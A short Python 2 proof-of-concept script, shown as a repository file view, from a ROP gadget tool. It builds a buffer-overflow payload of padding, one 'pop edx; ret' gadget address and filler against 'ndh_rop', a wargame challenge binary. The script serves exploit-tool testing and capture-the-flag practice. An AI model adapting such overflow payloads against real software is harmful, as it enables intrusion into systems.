Files
Jonathan Salwan 251ae55969 push v.3.2
2011-10-10 09:43:38 +02:00

15 lines
295 B
Python
Executable File

#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"
from struct import pack
p = "a" * 12
# Generated by RopGadget v3.0
p += pack("<I", 0x08083183) # pop %edx | ret
p += "BBBB"
print p